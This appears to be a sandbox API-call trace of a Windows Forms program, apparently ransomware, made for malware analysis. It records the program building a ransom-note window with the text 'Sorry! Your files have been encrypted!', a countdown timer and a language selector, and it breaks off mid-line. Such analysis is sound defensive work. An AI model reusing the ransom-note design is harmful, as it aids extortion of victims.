0x1023c [0155.033] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1023c, lpPoints=0x19dcf4, cPoints=0x2 | out: lpPoints=0x19dcf4) returned -1638403 [0155.033] GetClientRect (in: hWnd=0x1022e, lpRect=0x19e424 | out: lpRect=0x19e424) returned 1 [0155.033] GetWindowRect (in: hWnd=0x1022e, lpRect=0x19e424 | out: lpRect=0x19e424) returned 1 [0155.033] GetParent (hWnd=0x1022e) returned 0x1023c [0155.033] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1023c, lpPoints=0x19e424, cPoints=0x2 | out: lpPoints=0x19e424) returned -1638403 [0155.033] GetParent (hWnd=0x1022e) returned 0x1023c [0155.034] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1022e, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0155.034] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x19e808 | out: lpdwProcessId=0x19e808) returned 0x390 [0155.034] SetParent (hWndChild=0x10230, hWndNewParent=0x1023c) returned 0x1022c [0155.034] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x10230, Msg=0x18, wParam=0x0, lParam=0x0) returned 0x0 [0155.034] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x10230, Msg=0x46, wParam=0x0, lParam=0x19e764) returned 0x1 [0155.034] GetClientRect (in: hWnd=0x1022c, lpRect=0x19e46c | out: lpRect=0x19e46c) returned 1 [0155.034] GetWindowTextLengthW (hWnd=0x1022c) returned 0 [0155.034] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.034] GetSystemMetrics (nIndex=42) returned 0 [0155.034] GetWindowTextW (in: hWnd=0x1022c, lpString=0x19e34c, nMaxCount=1 | out: lpString="") returned 0 [0155.034] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0xd, wParam=0x1, lParam=0x19e34c) returned 0x0 [0155.034] GetClientRect (in: hWnd=0x1022c, lpRect=0x19e374 | out: lpRect=0x19e374) returned 1 [0155.034] GetCurrentObject (hdc=0x60100ce, type=0x1) returned 0xb00017 [0155.034] GetCurrentObject (hdc=0x60100ce, type=0x2) returned 0x900010 [0155.034] GetCurrentObject (hdc=0x60100ce, type=0x7) returned 0x400506ef [0155.034] GetCurrentObject (hdc=0x60100ce, type=0x6) returned 0x8a01c2 [0155.035] SaveDC (hdc=0x60100ce) returned 1 [0155.036] GetClientRect (in: hWnd=0x1022c, lpRect=0x19e374 | out: lpRect=0x19e374) returned 1 [0155.036] GetCurrentObject (hdc=0x60100ce, type=0x1) returned 0xb00017 [0155.036] GetCurrentObject (hdc=0x60100ce, type=0x2) returned 0x900010 [0155.036] GetCurrentObject (hdc=0x60100ce, type=0x7) returned 0x400506ef [0155.036] GetCurrentObject (hdc=0x60100ce, type=0x6) returned 0x8a01c2 [0155.036] SaveDC (hdc=0x60100ce) returned 1 [0155.037] GetNearestColor (hdc=0x60100ce, color=0x323533) returned 0x323533 [0155.037] CreateSolidBrush (color=0x323533) returned 0xc210071f [0155.037] FillRect (hDC=0x60100ce, lprc=0x19e214, hbr=0xc210071f) returned 1 [0155.037] DeleteObject (ho=0xc210071f) returned 1 [0155.037] RestoreDC (hdc=0x60100ce, nSavedDC=-1) returned 1 [0155.037] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10236, Msg=0x47, wParam=0x0, lParam=0x19e764) returned 0x0 [0155.037] GetClientRect (in: hWnd=0x10236, lpRect=0x19e424 | out: lpRect=0x19e424) returned 1 [0155.037] GetWindowRect (in: hWnd=0x10236, lpRect=0x19e424 | out: lpRect=0x19e424) returned 1 [0155.037] GetParent (hWnd=0x10236) returned 0x1022c [0155.037] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1022c, lpPoints=0x19e424, cPoints=0x2 | out: lpPoints=0x19e424) returned -9961777 [0155.037] GetParent (hWnd=0x10236) returned 0x1022c [0155.037] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10236, Msg=0x46, wParam=0x0, lParam=0x19e764) returned 0x0 [0155.038] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10236, Msg=0x22, wParam=0x0, lParam=0x0) returned 0x0 [0155.038] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10236, Msg=0x47, wParam=0x0, lParam=0x19e764) returned 0x0 [0155.038] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10236, Msg=0x3, wParam=0x0, lParam=0xe0019) returned 0x0 [0155.038] GetClientRect (in: hWnd=0x10236, lpRect=0x19dcf4 | out: lpRect=0x19dcf4) returned 1 [0155.038] GetWindowRect (in: hWnd=0x10236, lpRect=0x19dcf4 | out: lpRect=0x19dcf4) returned 1 [0155.038] GetParent (hWnd=0x10236) returned 0x1023c [0155.038] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1023c, lpPoints=0x19dcf4, cPoints=0x2 | out: lpPoints=0x19dcf4) returned -1638403 [0155.038] GetClientRect (in: hWnd=0x10236, lpRect=0x19e424 | out: lpRect=0x19e424) returned 1 [0155.038] GetWindowRect (in: hWnd=0x10236, lpRect=0x19e424 | out: lpRect=0x19e424) returned 1 [0155.038] GetParent (hWnd=0x10236) returned 0x1023c [0155.038] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1023c, lpPoints=0x19e424, cPoints=0x2 | out: lpPoints=0x19e424) returned -1638403 [0155.038] GetParent (hWnd=0x10236) returned 0x1023c [0155.038] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10236, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0155.038] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x19e808 | out: lpdwProcessId=0x19e808) returned 0x390 [0155.038] SetParent (hWndChild=0x10238, hWndNewParent=0x1023c) returned 0x1022c [0155.038] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10238, Msg=0x18, wParam=0x0, lParam=0x0) returned 0x0 [0155.038] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10238, Msg=0x46, wParam=0x0, lParam=0x19e764) returned 0x0 [0155.039] GetClientRect (in: hWnd=0x1022c, lpRect=0x19e46c | out: lpRect=0x19e46c) returned 1 [0155.039] GetWindowTextLengthW (hWnd=0x1022c) returned 0 [0155.039] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.039] GetSystemMetrics (nIndex=42) returned 0 [0155.039] GetWindowTextW (in: hWnd=0x1022c, lpString=0x19e34c, nMaxCount=1 | out: lpString="") returned 0 [0155.039] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0xd, wParam=0x1, lParam=0x19e34c) returned 0x0 [0155.039] GetClientRect (in: hWnd=0x1022c, lpRect=0x19e374 | out: lpRect=0x19e374) returned 1 [0155.039] GetCurrentObject (hdc=0x60100ce, type=0x1) returned 0xb00017 [0155.039] GetCurrentObject (hdc=0x60100ce, type=0x2) returned 0x900010 [0155.039] GetCurrentObject (hdc=0x60100ce, type=0x7) returned 0x400506ef [0155.039] GetCurrentObject (hdc=0x60100ce, type=0x6) returned 0x8a01c2 [0155.039] SaveDC (hdc=0x60100ce) returned 1 [0155.039] GetNearestColor (hdc=0x60100ce, color=0x323533) returned 0x323533 [0155.039] CreateSolidBrush (color=0x323533) returned 0xc310071f [0155.039] FillRect (hDC=0x60100ce, lprc=0x19e214, hbr=0xc310071f) returned 1 [0155.039] DeleteObject (ho=0xc310071f) returned 1 [0155.039] RestoreDC (hdc=0x60100ce, nSavedDC=-1) returned 1 [0155.039] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10238, Msg=0x47, wParam=0x0, lParam=0x19e764) returned 0x0 [0155.039] GetClientRect (in: hWnd=0x10238, lpRect=0x19e424 | out: lpRect=0x19e424) returned 1 [0155.039] GetWindowRect (in: hWnd=0x10238, lpRect=0x19e424 | out: lpRect=0x19e424) returned 1 [0155.039] GetParent (hWnd=0x10238) returned 0x1022c [0155.039] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1022c, lpPoints=0x19e424, cPoints=0x2 | out: lpPoints=0x19e424) returned -9961777 [0155.040] GetParent (hWnd=0x10238) returned 0x1022c [0155.040] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10238, Msg=0x46, wParam=0x0, lParam=0x19e764) returned 0x0 [0155.040] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10238, Msg=0x22, wParam=0x0, lParam=0x0) returned 0x0 [0155.042] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10238, Msg=0x47, wParam=0x0, lParam=0x19e764) returned 0x0 [0155.042] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10238, Msg=0x3, wParam=0x0, lParam=0x6017f) returned 0x0 [0155.042] GetClientRect (in: hWnd=0x10238, lpRect=0x19dcf4 | out: lpRect=0x19dcf4) returned 1 [0155.042] GetWindowRect (in: hWnd=0x10238, lpRect=0x19dcf4 | out: lpRect=0x19dcf4) returned 1 [0155.042] GetParent (hWnd=0x10238) returned 0x1023c [0155.042] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1023c, lpPoints=0x19dcf4, cPoints=0x2 | out: lpPoints=0x19dcf4) returned -1638403 [0155.042] GetClientRect (in: hWnd=0x10238, lpRect=0x19e424 | out: lpRect=0x19e424) returned 1 [0155.042] GetWindowRect (in: hWnd=0x10238, lpRect=0x19e424 | out: lpRect=0x19e424) returned 1 [0155.043] GetParent (hWnd=0x10238) returned 0x1023c [0155.043] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1023c, lpPoints=0x19e424, cPoints=0x2 | out: lpPoints=0x19e424) returned -1638403 [0155.043] GetParent (hWnd=0x10238) returned 0x1023c [0155.043] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10238, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0155.043] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x19e808 | out: lpdwProcessId=0x19e808) returned 0x390 [0155.043] SetParent (hWndChild=0x1023a, hWndNewParent=0x1023c) [0155.043] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1023a, Msg=0x18, wParam=0x0, lParam=0x0) returned 0x0 [0155.043] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1023a, Msg=0x46, wParam=0x0, lParam=0x19e764) returned 0x0 [0155.043] GetClientRect (in: hWnd=0x1022c, lpRect=0x19e46c | out: lpRect=0x19e46c) returned 1 [0155.043] GetWindowTextLengthW (hWnd=0x1022c) returned 0 [0155.043] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.043] GetSystemMetrics (nIndex=42) returned 0 [0155.043] GetWindowTextW (in: hWnd=0x1022c, lpString=0x19e34c, nMaxCount=1 | out: lpString="") returned 0 [0155.043] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0xd, wParam=0x1, lParam=0x19e34c) returned 0x0 [0155.043] GetClientRect (in: hWnd=0x1022c, lpRect=0x19e374 | out: lpRect=0x19e374) returned 1 [0155.043] GetCurrentObject (hdc=0x60100ce, type=0x1) returned 0xb00017 [0155.044] GetCurrentObject (hdc=0x60100ce, type=0x2) returned 0x900010 [0155.044] GetCurrentObject (hdc=0x60100ce, type=0x7) returned 0x400506ef [0155.044] GetCurrentObject (hdc=0x60100ce, type=0x6) returned 0x8a01c2 [0155.044] SaveDC (hdc=0x60100ce) returned 1 [0155.044] GetNearestColor (hdc=0x60100ce, color=0x323533) returned 0x323533 [0155.044] CreateSolidBrush (color=0x323533) returned 0xc410071f [0155.044] FillRect (hDC=0x60100ce, lprc=0x19e214, hbr=0xc410071f) returned 1 [0155.044] DeleteObject (ho=0xc410071f) returned 1 [0155.044] RestoreDC (hdc=0x60100ce, nSavedDC=-1) returned 1 [0155.044] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1023a, Msg=0x47, wParam=0x0, lParam=0x19e764) returned 0x0 [0155.044] GetClientRect (in: hWnd=0x1023a, lpRect=0x19e424 | out: lpRect=0x19e424) returned 1 [0155.044] GetWindowRect (in: hWnd=0x1023a, lpRect=0x19e424 | out: lpRect=0x19e424) returned 1 [0155.044] GetParent (hWnd=0x1023a) returned 0x1022c [0155.044] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1022c, lpPoints=0x19e424, cPoints=0x2 | out: lpPoints=0x19e424) returned -9961777 [0155.044] GetParent (hWnd=0x1023a) returned 0x1022c [0155.045] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1023a, Msg=0x46, wParam=0x0, lParam=0x19e764) returned 0x0 [0155.045] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1023a, Msg=0x22, wParam=0x0, lParam=0x0) returned 0x0 [0155.045] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1023a, Msg=0x47, wParam=0x0, lParam=0x19e764) [0155.045] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1023a, Msg=0x3, wParam=0x0, lParam=0x600ff) returned 0x0 [0155.045] GetClientRect (in: hWnd=0x1023a, lpRect=0x19dcf4 | out: lpRect=0x19dcf4) returned 1 [0155.045] GetWindowRect (in: hWnd=0x1023a, lpRect=0x19dcf4 | out: lpRect=0x19dcf4) returned 1 [0155.045] GetParent (hWnd=0x1023a) returned 0x1023c [0155.045] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1023c, lpPoints=0x19dcf4, cPoints=0x2 | out: lpPoints=0x19dcf4) returned -1638403 [0155.046] GetClientRect (in: hWnd=0x1023e, lpRect=0x19e2e8 | out: lpRect=0x19e2e8) returned 1 [0155.046] GetCurrentObject (hdc=0x60100ce, type=0x1) returned 0xb00017 [0155.046] GetCurrentObject (hdc=0x60100ce, type=0x2) returned 0x900010 [0155.046] GetCurrentObject (hdc=0x60100ce, type=0x7) returned 0x400506ef [0155.046] GetCurrentObject (hdc=0x60100ce, type=0x6) returned 0x8a01c2 [0155.046] SaveDC (hdc=0x60100ce) returned 1 [0155.046] GetNearestColor (hdc=0x60100ce, color=0x302d2d) returned 0x302d2d [0155.046] CreateSolidBrush (color=0x302d2d) returned 0xc510071f [0155.046] FillRect (hDC=0x60100ce, lprc=0x19e188, hbr=0xc510071f) returned 1 [0155.046] DeleteObject (ho=0xc510071f) returned 1 [0155.046] RestoreDC (hdc=0x60100ce, nSavedDC=-1) returned 1 [0155.047] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1022c, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0155.047] GetCurrentActCtx (in: lphActCtx=0x19e7a4 | out: lphActCtx=0x19e7a4*=0xef1264) returned 1 [0155.048] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0155.048] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0155.048] CreateWindowExW (dwExStyle=0x10000, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r11_ad1", lpWindowName=0x0, dwStyle=0x56000000, X=0, Y=0, nWidth=829, nHeight=95, hWndParent=0x1023e, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0155.048] SetWindowLongW (hWnd=0x2022c, nIndex=-4, dwNewLong=1952448832) returned 88361574 [0155.048] GetWindowLongW (hWnd=0x2022c, nIndex=-4) returned 1952448832 [0155.049] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0x81, wParam=0x0, lParam=0x19e1c8) returned 0x1 [0155.050] GetClientRect (in: hWnd=0x2022c, lpRect=0x19ddec | out: lpRect=0x19ddec) returned 1 [0155.050] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0155.050] GetCurrentObject (hdc=0x10105d6, type=0x2) returned 0x900010 [0155.050] GetCurrentObject (hdc=0x10105d6, type=0x7) returned 0x400506ef [0155.050] GetCurrentObject (hdc=0x10105d6, type=0x6) returned 0x8a01c2 [0155.050] SaveDC (hdc=0x10105d6) returned 1 [0155.050] GetNearestColor (hdc=0x10105d6, color=0x323533) returned 0x323533 [0155.050] CreateSolidBrush (color=0x323533) returned 0xc610071f [0155.051] FillRect (hDC=0x10105d6, lprc=0x19dc8c, hbr=0xc610071f) returned 1 [0155.051] DeleteObject (ho=0xc610071f) returned 1 [0155.051] RestoreDC (hdc=0x10105d6, nSavedDC=-1) returned 1 [0155.052] IsChild (hWndParent=0x1022e, hWnd=0x1023e) returned 0 [0155.052] GetParent (hWnd=0x1022e) returned 0x2022c [0155.052] GetWindowLongW (hWnd=0x1022e, nIndex=-20) returned 0 [0155.052] DestroyWindow (hWnd=0x1022e) [0155.052] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1022e, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0155.053] GetClientRect (in: hWnd=0x2022c, lpRect=0x19e27c | out: lpRect=0x19e27c) returned 1 [0155.053] GetCurrentObject (hdc=0x1b010670, type=0x1) returned 0xb00017 [0155.053] GetCurrentObject (hdc=0x1b010670, type=0x2) returned 0x900010 [0155.053] GetCurrentObject (hdc=0x1b010670, type=0x7) returned 0x400506ef [0155.053] GetCurrentObject (hdc=0x1b010670, type=0x6) returned 0x8a01c2 [0155.053] SaveDC (hdc=0x1b010670) returned 1 [0155.053] GetNearestColor (hdc=0x1b010670, color=0x323533) returned 0x323533 [0155.053] CreateSolidBrush (color=0x323533) returned 0xc710071f [0155.053] FillRect (hDC=0x1b010670, lprc=0x19e11c, hbr=0xc710071f) returned 1 [0155.053] DeleteObject (ho=0xc710071f) returned 1 [0155.053] RestoreDC (hdc=0x1b010670, nSavedDC=-1) returned 1 [0155.054] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1022e, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0155.055] GetCurrentActCtx (in: lphActCtx=0x19e724 | out: lphActCtx=0x19e724*=0xef1264) returned 1 [0155.055] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0155.055] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0155.055] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r11_ad1", lpWindowName="Sorry! Your files have been encrypted!", dwStyle=0x5600000d, X=198, Y=53, nWidth=519, nHeight=33, hWndParent=0x2022c, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0155.056] SetWindowLongW (hWnd=0x2022e, nIndex=-4, dwNewLong=1876339648) returned 88362614 [0155.056] GetWindowLongW (hWnd=0x2022e, nIndex=-4) returned 1876339648 [0155.057] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2022e, Msg=0x81, wParam=0x0, lParam=0x19e148) returned 0x1 [0155.058] SetWindowTextW (hWnd=0x2022e, lpString="Sorry! Your files have been encrypted!") [0155.058] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2022e, Msg=0xc, wParam=0x0, lParam=0x2ff31b4) returned 0x1 [0155.061] GetFocus () returned 0x1023e [0155.061] IsChild (hWndParent=0x10230, hWnd=0x1023e) returned 0 [0155.061] GetParent (hWnd=0x10230) returned 0x2022c [0155.061] GetWindowLongW (hWnd=0x10230, nIndex=-20) returned 0 [0155.061] DestroyWindow (hWnd=0x10230) [0155.061] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x10230, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0155.062] GetClientRect (in: hWnd=0x2022c, lpRect=0x19e26c | out: lpRect=0x19e26c) returned 1 [0155.062] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0155.062] GetCurrentObject (hdc=0x10105d6, type=0x2) returned 0x900010 [0155.062] GetCurrentObject (hdc=0x10105d6, type=0x7) returned 0x400506ef [0155.062] GetCurrentObject (hdc=0x10105d6, type=0x6) returned 0x8a01c2 [0155.062] SaveDC (hdc=0x10105d6) returned 1 [0155.062] GetNearestColor (hdc=0x10105d6, color=0x323533) returned 0x323533 [0155.062] CreateSolidBrush (color=0x323533) returned 0xc810071f [0155.062] FillRect (hDC=0x10105d6, lprc=0x19e10c, hbr=0xc810071f) returned 1 [0155.062] DeleteObject (ho=0xc810071f) returned 1 [0155.062] RestoreDC (hdc=0x10105d6, nSavedDC=-1) returned 1 [0155.062] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x10230, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0155.065] GetCurrentActCtx (in: lphActCtx=0x19e6e4 | out: lphActCtx=0x19e6e4*=0xef1264) returned 1 [0155.065] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0155.066] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0155.066] CreateWindowExW (dwExStyle=0x200, lpClassName="WindowsForms10.COMBOBOX.app.0.141b42a_r11_ad1", lpWindowName="English", dwStyle=0x56210242, X=697, Y=12, nWidth=121, nHeight=30, hWndParent=0x2022c, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0155.066] SetWindowLongW (hWnd=0x20230, nIndex=-4, dwNewLong=1876096512) returned 88375174 [0155.066] GetWindowLongW (hWnd=0x20230, nIndex=-4) returned 1876096512 [0155.067] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x20230, Msg=0x81, wParam=0x0, lParam=0x19e108) [0155.067] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x20230, Msg=0x7c, wParam=0xfffffff0, lParam=0x19da6c) returned 0x0 [0155.081] SetWindowTextW (hWnd=0x20230, lpString="English") [0155.081] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x20230, Msg=0xc, wParam=0x0, lParam=0x2ff3750) returned 0x1 [0155.098] SendMessageW (hWnd=0x20230, Msg=0x147, wParam=0x0, lParam=0x0) [0155.098] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x20230, Msg=0x147, wParam=0x0, lParam=0x0) returned 0x1 [0155.098] SendMessageW (hWnd=0x20234, Msg=0xc, wParam=0x0, lParam=0x2f8c8f4) [0155.098] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x20234, Msg=0xc, wParam=0x0, lParam=0x2f8c8f4) returned 0x1 [0155.115] GetWindowTextLengthW (hWnd=0x20230) [0155.115] CallWindowProcW (lpPrevWndFunc=0x6fd2f600, hWnd=0x20230, Msg=0xe, wParam=0x0, lParam=0x0) [0155.115] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x20234, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0155.115] SetParent (hWndChild=0x10236, hWndNewParent=0x2022c) [0155.115] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10236, Msg=0x18, wParam=0x0, lParam=0x0) returned 0x0 [0155.117] GetClientRect (in: hWnd=0x2022c, lpRect=0x19e27c | out: lpRect=0x19e27c) returned 1 [0155.117] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0155.118] GetCurrentObject (hdc=0x10105d6, type=0x2) returned 0x900010 [0155.118] GetCurrentObject (hdc=0x10105d6, type=0x7) returned 0x400506ef [0155.118] GetCurrentObject (hdc=0x10105d6, type=0x6) returned 0x8a01c2 [0155.118] SaveDC (hdc=0x10105d6) returned 1 [0155.118] GetNearestColor (hdc=0x10105d6, color=0x323533) returned 0x323533 [0155.118] CreateSolidBrush (color=0x323533) returned 0xc910071f [0155.118] FillRect (hDC=0x10105d6, lprc=0x19e11c, hbr=0xc910071f) returned 1 [0155.118] DeleteObject (ho=0xc910071f) returned 1 [0155.118] RestoreDC (hdc=0x10105d6, nSavedDC=-1) returned 1 [0155.121] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10236, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0155.122] GetCurrentActCtx (in: lphActCtx=0x19e724 | out: lphActCtx=0x19e724*=0xef1264) returned 1 [0155.122] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0155.122] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0155.122] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r11_ad1", lpWindowName="00:00:00", dwStyle=0x5600000d, X=25, Y=14, nWidth=154, nHeight=50, hWndParent=0x2022c, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0155.123] SetWindowLongW (hWnd=0x20236, nIndex=-4, dwNewLong=1876339648) returned 88362614 [0155.123] GetWindowLongW (hWnd=0x20236, nIndex=-4) returned 1876339648 [0155.123] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0x81, wParam=0x0, lParam=0x19e148) returned 0x1 [0155.124] SetWindowTextW (hWnd=0x20236, lpString="00:00:00") [0155.124] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xc, wParam=0x0, lParam=0x2ff4094) returned 0x1 [0155.127] GetClientRect (in: hWnd=0x2022c, lpRect=0x19e27c | out: lpRect=0x19e27c) returned 1 [0155.127] GetCurrentObject (hdc=0x60100ce, type=0x1) returned 0xb00017 [0155.128] GetCurrentObject (hdc=0x60100ce, type=0x2) returned 0x900010 [0155.128] GetCurrentObject (hdc=0x60100ce, type=0x7) returned 0x400506ef [0155.128] GetCurrentObject (hdc=0x60100ce, type=0x6) returned 0x8a01c2 [0155.128] SaveDC (hdc=0x60100ce) returned 1 [0155.128] GetNearestColor (hdc=0x60100ce, color=0x323533) returned 0x323533 [0155.128] CreateSolidBrush (color=0x323533) returned 0xca10071f [0155.128] FillRect (hDC=0x60100ce, lprc=0x19e11c, hbr=0xca10071f) returned 1 [0155.128] DeleteObject (ho=0xca10071f) returned 1 [0155.128] RestoreDC (hdc=0x60100ce, nSavedDC=-1) returned 1 [0155.128] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x10238, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0155.129] GetCurrentActCtx (in: lphActCtx=0x19e724 | out: lphActCtx=0x19e724*=0xef1264) returned 1 [0155.129] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0155.130] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0155.130] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r11_ad1", lpWindowName="Name", dwStyle=0x5600000d, X=383, Y=6, nWidth=91, nHeight=33, hWndParent=0x2022c, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0155.130] SetWindowLongW (hWnd=0x20238, nIndex=-4, dwNewLong=1876339648) returned 88362614 [0155.130] GetWindowLongW (hWnd=0x20238, nIndex=-4) returned 1876339648 [0155.131] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20238, Msg=0x81, wParam=0x0, lParam=0x19e148) returned 0x1 [0155.132] SetWindowTextW (hWnd=0x20238, lpString="Name") [0155.132] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20238, Msg=0xc, wParam=0x0, lParam=0x2ff4570) returned 0x1 [0155.137] GetClientRect (in: hWnd=0x2022c, lpRect=0x19e27c | out: lpRect=0x19e27c) returned 1 [0155.137] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0155.137] GetCurrentObject (hdc=0x10105d6, type=0x2) returned 0x900010 [0155.137] GetCurrentObject (hdc=0x10105d6, type=0x7) returned 0x400506ef [0155.137] GetCurrentObject (hdc=0x10105d6, type=0x6) returned 0x8a01c2 [0155.137] SaveDC (hdc=0x10105d6) returned 1 [0155.137] GetNearestColor (hdc=0x10105d6, color=0x323533) returned 0x323533 [0155.137] CreateSolidBrush (color=0x323533) returned 0xcb10071f [0155.137] FillRect (hDC=0x10105d6, lprc=0x19e11c, hbr=0xcb10071f) returned 1 [0155.137] DeleteObject (ho=0xcb10071f) returned 1 [0155.137] RestoreDC (hdc=0x10105d6, nSavedDC=-1) returned 1 [0155.138] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1023a, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0155.139] GetCurrentActCtx (in: lphActCtx=0x19e724 | out: lphActCtx=0x19e724*=0xef1264) returned 1 [0155.139] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0155.139] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0155.139] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r11_ad1", lpWindowName="Helloy - ", dwStyle=0x5600000d, X=255, Y=6, nWidth=122, nHeight=33, hWndParent=0x2022c, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0155.140] SetWindowLongW (hWnd=0x2023a, nIndex=-4, dwNewLong=1876339648) returned 88362614 [0155.140] GetWindowLongW (hWnd=0x2023a, nIndex=-4) returned 1876339648 [0155.140] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x2023a, Msg=0x81, wParam=0x0, lParam=0x19e148) returned 0x1 [0155.141] SetWindowTextW (hWnd=0x2023a, lpString="Helloy - ") [0155.141] CallWindowProcW 